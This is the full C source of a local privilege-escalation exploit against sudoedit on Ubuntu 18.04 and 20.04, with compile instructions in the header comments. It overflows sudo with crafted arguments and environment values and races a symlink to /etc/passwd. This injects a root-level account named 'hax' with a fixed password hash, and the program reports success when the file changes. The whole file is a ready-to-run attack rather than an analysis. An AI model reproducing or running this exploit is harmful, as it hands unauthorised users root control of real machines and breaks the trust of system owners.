// Exploit by @r4j0x00
// Thanks to cts (@gf_256) for help
// Works on ubuntu 18.04 and 20.04
// gcc exploit.c -o exploit

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <stdint.h>
#include <sys/stat.h>
#include <stdlib.h>
#include <pwd.h>
#define passwd_file "/etc/passwd"

size_t get_passwd_size() {
    struct stat st;
    stat(passwd_file, &st);
    return st.st_size;
}

char * str_repeat(char a, size_t n) {
    char * s = malloc(n+1);
    for(int i=0;i<n;++i)
        s[i] = a;
    s[n] = 0;
    return s;
}

char * concat(const char * a, const char * b) {
    size_t len_a = strlen(a);
    size_t len_b = strlen(b);
    size_t size = len_a + len_b;

    char * s = malloc(size+1);
    int i;

    for(i=0;i<len_a;++i) s[i] = a[i];
    for(i=0;i<len_b;++i) s[len_a+i] = b[i];
    s[size] = 0;
    return s;
}

char * get_random_string(size_t n) {
    const char * charset = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";
    srand(time(NULL));
    char * s = malloc(n+1);
    for(int i=0;i<n;++i) s[i] = charset[rand() % 52];
    s[n] = 0;
    return s;
}

char * get_user() {
    struct passwd *pw;
    uint64_t uid;

    uid = getuid();
    pw = getpwuid(uid);
    if(!pw) {
        puts("????");
        exit(1);
    }
    
    return strdup(pw->pw_name);
}

const char * contents = "\n\nhax:$6$q4tutskpH4.ezGv9$/R6eIP3viVO4oIds5WIqZPN5bQYT/Z1w9s6q6jw.6bO3FTohiFD1L1Jk9EhQdLiv1MeZOCF71PB41dTI2eV3C1:0:0:hax:/root:/bin/bash\n\n"; // password: hax

int main(void) {
    system("cp /etc/passwd /tmp/passwd_bak");
    size_t initial_size = get_passwd_size();
    char * basedir_name = get_random_string(0x20);

    char * dirname = malloc(0x100);
    char * timestamp_file = malloc(0x100);
    const char * c = str_repeat('C', 0x10000);
    const char * lc = concat("LC_MESSAGES=C.UTF-8@", str_repeat('L', 0xb0));
    const char * user = get_user();

    for(int i=0;i<0x1000;++i) {
        sprintf(dirname, "%s%d", basedir_name, i);
        sprintf(timestamp_file, "%s/%s", dirname, user);
        char *env[] = {concat(str_repeat('A', 47), dirname) , contents, lc, "SUDO_ASKPASS=/bin/false", c, NULL};
        char * a = concat(str_repeat('A', 0xf0),"\\");
        char * argv[] = {"/usr/bin/sudoedit", "-A", "-s", a, NULL};

        int pid = fork();
        if(!pid) {
            execve(argv[0], argv, env);
            exit(0);
        }

        usleep(1000);
        mkdir(dirname, 0700);
        symlink(passwd_file, timestamp_file);
        waitpid(pid, 0, 0);

        if(get_passwd_size() != initial_size) {
            puts("[+] Success!");
            puts("Make sure to copy back /etc/passwd from /tmp/passwd_bak!");
            exit(0);
        }
    }
    puts("Failed");
}